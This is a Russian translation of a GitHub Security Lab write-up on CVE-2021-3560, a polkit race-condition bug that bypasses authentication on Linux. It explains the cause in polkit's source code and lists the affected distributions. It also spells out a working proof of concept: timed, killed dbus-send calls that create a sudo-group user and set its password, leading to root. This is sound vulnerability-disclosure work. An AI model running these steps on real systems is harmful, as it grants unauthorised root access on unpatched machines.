Pull to refresh
2096.35

Эскалация привилегий при помощи polkit: как заполучить root-доступ в Linux, воспользовавшись семилетним багом

Reading time14 min
Views8.7K
Original author: Kevin Backhouse

polkit – это системный сервис, по умолчанию устанавливаемый во многих дистрибутивах Linux. Он используется демоном systemd, поэтому в любом дистрибутиве Linux, где применяется system, также используется polkit. Автор этой статьи, входя в состав GitHub Security Lab, работает над улучшением безопасности опенсорсного софта; он ищет уязвимости и докладывает о них. Именно он однажды нашел уязвимость в polkit, позволяющую злоумышленнику увеличить его привилегии. Раскрытие уязвимости было скоординировано с командой по поддержке polkit, а также с командой по обеспечению безопасности в компании Red Hat. О раскрытии этой уязвимости было объявлено публично, патч для нее был выпущен 3 июня 2021 года, и ей был присвоен код CVE-2021-3560.

Эта уязвимость позволяет непривилегированному пользователю, работающему на локальном ПК, получить root-доступ к командной оболочке системы. Такой эксплойт несложно осуществить при помощи нескольких стандартных инструментов командной строки, как показано в этом коротком видео. В данном посте будет объяснено, как устроен этот эксплойт, а также показано, где именно в исходном коде находится этот баг.

История уязвимости CVE-2021-3560 и какие дистрибутивы она затронула

Рассматриваемый баг достаточно старый. Он вкрался в код более восьми лет назад в коммите bfa5036 и впервые мог использоваться в версии 0.113 программы polkit. Однако, во многих популярных дистрибутивах Linux эта уязвимая версия не использовалась до относительно недавнего времени.

Немного специфической историей этот баг обладает в Debian и его производных (например, в Ubuntu), так как Debian использует форк polkit, в котором есть своя особенная схема нумерации версий. В форке Debian этот баг появился в коммите f81d021 и впервые попал в дистрибутив в версии 0.105-26. В стабильном релизе Debian 10 (“buster”) используется версия 0.105-25, таким образом, уязвимости в нем нет. Но некоторые производные Debian, в том числе, Ubuntu, основаны на нестабильной версии Debian, а она уязвима.

Вот таблица с подборкой популярных дистрибутивов и указанием, уязвимы ли они (обратите внимание: этот список неполон):

Дистрибутив

Уязвим ли он?

RHEL 7

Нет

RHEL 8

Да

Fedora 20 (и ниже)

Нет

Fedora 21 (и выше)

Да

Debian 10 (“buster”)

Нет

Debian тестировочный (“bullseye”)

Да

Ubuntu 18.04

Нет

Ubuntu 20.04

Да

О polkit

polkit – это системный сервис, работающий под капотом, когда вы видите диалоговое окно примерно такого содержания:

В принципе, он играет роль арбитра. Когда вы хотите выполнить некоторую операцию, требующую повышенных привилегий – например, создать новую пользовательскую учетную запись – то задача polkit решить, допустимо или нет, чтобы вы эту операцию выполнили. По некоторым запросам polkit принимает решение мгновенно – разрешить или запретить – а в других случаях выводит диалоговое окно, через которое администратор может авторизовать определенное действие, введя свой пароль.

Диалоговое окно может создать впечатление, будто polkit – это графическая система, но на самом деле это фоновый процесс. Такое диалоговое окно называется агент аутентификации, и это просто механизм, позволяющий отправить пароль в polkit. Чтобы проиллюстрировать, что polkit предназначен не только для графических сеансов, попробуйте открыть терминал и выполнить следующую команду:

pkexec reboot

pkexec – это подобная команда для sudo, позволяющая выполнить команду с правами администратора. Если выполнить pkexec в графическом сеансе, то откроется диалоговое окно, но, если все то же самое делается в текстовом сеансе, например, в SSH, то запускается собственный агент аутентификации, работающий в текстовом режиме:

$ pkexec reboot

==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===

Authentication is needed to run `/usr/sbin/reboot' as the super user

Authenticating as: Kevin Backhouse,,, (kev)

Password:

Еще одна команда, при помощи которой можно инициировать polkit из командной строки – это dbus-send. Это универсальный инструмент для отправки сообщений D-Bus, в основном он используется для тестирования, но обычно по умолчанию устанавливается в тех системах, которые используют D-Bus. С его помощью можно сымитировать сообщения D-Bus, которые могли бы поступать из графического интерфейса. Например, вот команда для создания нового пользователя:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Если выполнить эту команду в рамках сеанса, когда работа идет через графический интерфейс, откроется диалоговое окно для аутентификации. Но, если вы будете работать в текстовом режиме, например, через SSH, то произойдет немедленный отказа. Дело в том, что утилита dbus-send, в отличие от pkexec, не запускает собственный агент аутентификации.

Этапы эксплойта

Эксплойт этой уязвимости удивительно прост. Всего-то и нужно, ввести в окне терминала несколько команд, и использоваться при этом будут только стандартные инструменты, в частности, bash, kill и dbus-send.

Описанный в этом разделе эксплойт приведен в качестве доказательства осуществимости (proof of concept). Он зависит от двух пакетов, которые необходимо установить: accountsservice и gnome-control-center. В системе с графическим интерфейсом, например, в Ubuntu Desktop, оба этих пакета обычно устанавливаются по умолчанию. Но если вы работаете с такой машиной как сервер RHEL, где графический интерфейс не предусмотрен, то можете их установить, например, вот так:

sudo yum install accountsservice gnome-control-center

Разумеется, у этой уязвимости нет никакой специфической связи ни с accountsservice, ни с gnome-control-center. Это просто клиенты polkit, оказавшиеся удобными векторами атаки для данного эксплойта. Причина, по которой наш proof of concept зависит от gnome-control-center, а не просто от accountsservice, довольно тонкая — я объясню ее позже. 

Чтобы не приходилось раз за разом открывать диалоговое окно аутентификации (это может раздражать), рекомендую выполнять команды из SSH-сеанса:

ssh localhost

Данная уязвимость инициируется запуском команды dbus-send, но она же убивает эту команду, еще пока polkit вовсю занят обработкой запроса. Мне нравится думать, что теоретически ее можно инициировать, просто бахнув Ctrl+C в нужный момент, но преуспеть в этом мне ни разу не удалось, поэтому я обхожусь небольшим набором bash-скриптов. Во-первых, нужно измерить, сколько времени требуется, чтобы запустить команду dbus-send в обычном режиме:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Вывод выглядит примерно так:

Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s

user 0m0.005s

sys 0m0.000s

У автора на это ушло 16 миллисекунд; таким образом, на то, чтобы убить команду dbus-send, у нас есть приблизительно 8 миллисекунд:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Возможно, потребуется несколько раз прогнать этот код, а также поэкспериментировать, сколько именно миллисекунд должна продлиться задержка. Когда эксплойт окончится успехом, вы увидите, что создан новый пользователь с именем boris:

$ id boris

uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Обратите внимание: boris относится к группе sudo, поэтому вы уже серьезно приблизились к полной эскалации привилегий. Далее необходимо задать пароль для нового аккаунта. Интерфейс D-Bus ожидает хэшированный пароль, который можно создать при помощи openssl:

$ openssl passwd -5 iaminvincible!

$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь потребуется просто повторить тот самый трюк, только сейчас мы вызываем уже другой метод D-Bus, а именно SetPassword:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Опять же, возможно, потребуется поэкспериментировать с длительностью задержки, и операция может удаться не с первого раза. Обратите внимание: сюда нужно вставить корректный идентификатор пользователя (UID), а именно, в данном примере, это “1002” – плюс хеш пароля от команды openssl.

Теперь можно войти в систему под именем boris и получить права администратора:

su - boris # password: iaminvincible!

sudo su # password: iaminvincible!

Архитектура polkit 

Чтобы уязвимость была понятнее, взгляните на схему с пятью основными процессами, участвующими в выполнении команды dbus-send:

Два процесса выше прерывистой линии — dbus-send и агент аутентификации – пользовательские, непривилегированные. Ниже прерывистой линии показаны привилегированные системные процессы. В центре — dbus-daemon, обрабатывающий всю коммуникацию: остальные четыре процесса общаются друг с другом, обмениваясь сообщениями D-Bus.

Роль dbus-daemon в обеспечении безопасности polkit очень важна, поскольку именно он отвечает за безопасную коммуникацию четырех процессов, в частности, позволяет им проверять учетные данные друг друга. Например, когда агент аутентификации посылает polkit аутентификационный куки, сама отправка идет на адрес org.freedesktop.PolicyKit1 в D-Bus. Поскольку зарегистрировать такой адрес разрешено только root-процессу, отсутствует риск, что эти сообщения перехватит непривилегированный процесс. Также dbus-daemon присваивает каждому процессу «уникальное шинное имя», обычно оно выглядит примерно так: :1.96. Оно немного напоминает идентификатор процесса (PID), за исключением того, что такое имя не уязвимо для атак с повторным использованием PID. В настоящее время уникальные шинные имена выбираются из 64-разрядного диапазона, поэтому отсутствует риск возникновения уязвимости на почве повторного использования имени.

Рассмотрим всю последовательность событий:

1.   dbus-send просит accounts-daemon создать нового пользователя.

2.   accounts-daemon получает сообщение D-Bus от dbus-send. Это сообщение включает уникальное шинное имя отправителя. Предположим, это “:1.96”. Это имя прикрепляется к сообщению демоном dbus-daemon и не может быть подделано.

3.   accounts-daemon спрашивает polkit, вправе ли соединение :1.96 создать нового пользователя.

4.   polkit спрашивает dbus-daemon, каков UID соединения :1.96.

5.   Если UID of соединения :1.96 это “0,” то polkit немедленно дает добро в ответ на этот запрос. В противном случае он направляет агенту аутентификации список пользователей с правами администратора, и именно эти пользователи вправе дать добро на запрос.

6.   Агент аутентификации открывает диалоговое окно, через которое пользователь должен ввести пароль.

7.   Агент аутентификации отправляет пароль к polkit.

8.   polkit посылает ответ «yes» демону accounts-daemon.

9.   accounts-daemon создает пользовательскую учетную запись.

Уязвимость

Почему, убив команду dbus-send, можно обойти этап аутентификации? Уязвимость скрывается в вышеприведенном списке шагов. Что произойдет, если polkit запросит у dbus-daemon UID соединения :1.96, но соединение :1.96 к тому моменту уже не существует? Демон dbus-daemon обработает эту ситуацию правильно и вернет ошибку. Но оказывается, что справиться с этой ошибкой не может polkit; более того, он поступает с ней на редкость неграмотно: не отклоняет такой запрос, а полагает, что он поступил от процесса с UID 0. Иными словами, сразу же дает такому запросу добро, поскольку ему «кажется», что запрос пришел от процесса с root-привилегиями.

Почему хронометраж уязвимости получается недетерминированным? Оказывается, polkit многократно просит у dbus-daemon номер UID запрашивающего процесса, по разным путям кода. По большинству из этих путей ошибка обрабатывается корректно, но по одному – нет. Если убить команду dbus-send слишком рано, то ошибка обрабатывается по одному из корректных путей, и запрос отклоняется. Чтобы запустить программу именно по уязвимому пути, нужно произвести разрыв ровно в нужный момент. А поскольку в работу вовлечено множество процессов, этот тайминг, «ровно нужный момент», варьируется от одного прогона к другому. Вот почему эксплойт обычно удается не с первой попытки. Полагаю, именно поэтому и реакция на баг не была открыта ранее. Если бы можно было инициировать уязвимость, просто убив команду dbus-send, то, вероятно, эта уязвимость была бы раскрыта гораздо ранее, так как тестировать систему на наличие такой уязвимости – очевидная необходимость.

Функция, запрашивающая у dbus-daemon UID-идентификатор запрашивающего соединения, называется polkit_system_bus_name_get_creds_sync:

static gboolean

polkit_system_bus_name_get_creds_sync (

PolkitSystemBusName       *system_bus_name,

guint32                   *out_uid,

guint32                   *out_pid,

GCancellable              *cancellable,

GError                   **error)

Функция polkit_system_bus_name_get_creds_sync ведет себя странно, поскольку при возникновении ошибки эта функция устанавливает параметр ошибки, но все равно продолжает возвращать TRUE. Не понимая этого, автор написал баг-репорт, с просьбой пояснить, баг ли это или решение, осознанно принятое при проектировании (оказалось, что баг, так как разработчики polkit исправили уязвимость, и при ошибке функция стала возвращать FALSE.) Сомнения были обусловлены тем, что почти все вызыватели polkit_system_bus_name_get_creds_sync не просто проверяют булев результат, но и убеждаются, что значение ошибки по-прежнему равно NULL, и только после этого продолжают работу. Причина уязвимости заключалась в том, что в следующем стектрейсе значение ошибки не проверялось:

0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:388

1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511

2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303

3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1121

4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1227

5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:981

6 in polkit_backend_authority_check_authorization of polkitbackendauthority.c:227

7 in server_handle_check_authorization of polkitbackendauthority.c:790

7 in server_handle_method_call of polkitbackendauthority.c:1272

Баг находится в следующем фрагменте кода в check_authorization_sync:

/* каждому субъекту соответствует пользователь; эта информация предоставляется клиентом, поэтому при проверке ее приемлемости

 * мы полагаемся на данные вызывающей стороны. */

user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,

                                                                       subject, NULL,

                                                                       error);

if (user_of_subject == NULL)

goto out;

 

/* особый случай: uid 0, root, всегда _always_ на все случаи */

if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)

  {

result = polkit_authorization_result_new (TRUE, FALSE, NULL);

goto out;

  }

Обратите внимание: значение error не проверяется.

Аннотации org.freedesktop.policykit.imply

Выше упоминалось, что предложенная PoC-модель зависит от того, чтобы в системе была установлена gnome-control-center, дополнительно к accountsservice. Почему так? PoC-модель не использует gnome-control-center каким-либо заметным образом, и при создании данной модели автор эту зависимость даже не осознавал! На самом деле, данная зависимость была выявлена только потому, что команда безопасников из Red Hat не смогла воспроизвести эту PoC-модель на RHEL. Когда автор самостоятельно попытался воспроизвести эту уязвимость на виртуальной машине RHEL 8.4, оказалось, что и в этой расстановке его PoC-модель также не работает. Удивительно, поскольку она отлично работала на Fedora 32 и CentOS Stream. Оказалось, что принципиальное отличие заключается в следующем: виртуальная машина RHEL – это сервер, работающий без графики, то есть, на нем не установлен GNOME. Почему же это важно? Ответ был связан с использованием аннотаций policykit.imply.

Некоторые действия polkit, в сущности, эквивалентны друг другу, поэтому, если одно из них уже одобрено, то имеет смысл бесшумно разрешить и другое. Хороший пример такого рода – настройки GNOME в диалоговом окне:

Как только вы щелкнете по кнопке “Unlock” (Разблокировать) и введете пароль, вы сразу сможете совершить такое действие как добавление нового пользовательского аккаунта, и повторно проходить аутентификацию вам для этого не придется. Этот случай обрабатывается аннотацией policykit.imply, которая определяется в следующем конфигурационном файле:

/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy

В этом конфигурационном файле подразумевается следующее:

Иными словами, если вы вправе совершать действия controlcenter ка администратор, то вправе совершать и accountsservice, тоже как администратор.

Прикрепив GDB к polkit на виртуальной машине RHEL, автор обнаружил, что приведенный выше уязвимый стектрейс не виден. Обратите внимание: на четвертом шаге стектрейса мы видим рекурсивный вызов от check_authorization_sync к самой себе. Это происходит в строке 1227, именно там, где polkit проверяет аннотации policykit.imply:

PolkitAuthorizationResult *implied_result = NULL;

PolkitImplicitAuthorization implied_implicit_authorization;

GError *implied_error = NULL;

const gchar *imply_action_id;

 

imply_action_id = polkit_action_description_get_action_id (imply_ad);

 

/* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */

implied_result = check_authorization_sync (authority, caller, subject,

                                        imply_action_id,

                                           details, flags,

                                           &implied_implicit_authorization, TRUE,

                                           &implied_error);

if (implied_result != NULL)

  {

if (polkit_authorization_result_get_is_authorized (implied_result))

   {

        g_debug (" is authorized (implied by %s)", imply_action_id);

     result = implied_result;

     /* очистка */

     g_strfreev (tokens);

     goto out;

   }

g_object_unref (implied_result);

  }

if (implied_error != NULL)

  g_error_free (implied_error);

Обход аутентификации зависит от того, чтобы значение ошибки было проигнорировано. Оно было проигнорировано в строке 1121, но все равно сохранено в параметре error, поэтому нужно, чтобы оно было проигнорировано и вызывающей стороной. В вышеприведенном блоке кода есть временная переменная под названием implied_error, которая игнорируется, когда значение implied_result не равно нулю. Это и есть ключевой шаг, благодаря которому удается обойти аутентификацию.

Подытоживая, обход аутентификации срабатывает только с такими действиями polkit, которые подразумеваются другими действиями polkit. Вот почему предложенная PoC-модель работает лишь при условии, что в системе установлен gnome-control-center: так добавляется аннотация policykit.imply, позволяющая подставить accountsservice под удар. Но это не означает, что RHEL такая уязвимость не грозит. Другой вектор атаки для такой уязвимости направлен через программу packagekit, которая по умолчанию устанавливается на RHEL и содержит подходящую аннотацию policykit.imply, завязанную на действии package-install. packagekit используется для установки пакетов, поэтому с ее помощью можно установить и gnome-control-center, после чего весь оставшийся эксплойт будет работать как показано выше.

Заключение

CVE-2021-3560 позволяет непривилегированному злоумышленнику, действующему с локального ПК, получить в системе права администратора. Этот эксплойт очень прост и быстр, поэтому важно как можно быстрее обновлять все установленные экземпляры Linux. Уязвима любая система, в которой применяется polkit версии 0.113 (или выше), в частности, такие популярные дистрибутивы, как RHEL 8 и Ubuntu 20.04.

 

Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
Total votes 24: ↑22 and ↓2+20
Comments3

Articles

Information

Website
timeweb.cloud
Registered
Founded
Employees
201–500 employees
Location
Россия
Representative
Timeweb Cloud